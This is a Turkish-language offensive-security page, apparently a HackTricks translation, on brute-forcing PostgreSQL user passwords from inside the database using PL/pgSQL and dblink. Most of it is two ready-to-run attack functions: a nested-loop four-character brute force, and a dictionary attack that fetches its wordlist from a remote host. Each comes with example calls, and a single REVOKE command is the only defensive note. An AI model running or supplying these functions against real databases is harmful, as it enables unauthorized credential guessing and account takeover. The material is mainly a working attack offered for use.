PL/pgSQL Password Bruteforce

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

Bu saldırılar hakkında daha fazla bilgiyi orijinal makalede bulabilirsiniz.

PL/pgSQL, SQL'nin yeteneklerini aşan tam özellikli bir programlama dilidir ve gelişmiş prosedürel kontrol sunarak SQL'nin ötesine geçer. Bu, döngülerin ve çeşitli kontrol yapılarının kullanılmasını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir ve veritabanı ortamında operasyonların kapsamını genişletir.

Bu dili kullanarak PostgreSQL'e kullanıcı kimlik bilgilerini kaba kuvvet saldırısı yapması için istekte bulunabilirsiniz, ancak bu kullanıcının veritabanında mevcut olması gerekmektedir. Varlığını doğrulamak için aşağıdaki komutu kullanabilirsiniz:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Varsayılan olarak, fonksiyon oluşturma yetkisi, her kullanıcıyı kapsayan PUBLIC adlı bir gruba verilir. Bunun önüne geçmek için yönetici, PUBLIC alanından USAGE yetkisini iptal etmek zorunda kalabilir:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Bu durumda, önceki sorgumuz farklı sonuçlar üretecektir:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Aşağıdaki betiğin çalışabilmesi için dblink fonksiyonunun var olması gerektiğini unutmayın. Eğer yoksa, aşağıdaki komutu kullanarak oluşturmayı deneyebilirsiniz:

CREATE EXTENSION dblink;

Şifre Kaba Kuvvet Saldırısı

İşte 4 karakterli bir şifre kaba kuvvet saldırısı nasıl gerçekleştirilir:

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Not: 4 karakterin bile brute-force saldırısı birkaç dakika sürebilir.

Ayrıca bir wordlist indirebilirsiniz ve sadece bu şifreleri deneyebilirsiniz (sözlük saldırısı):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Last updated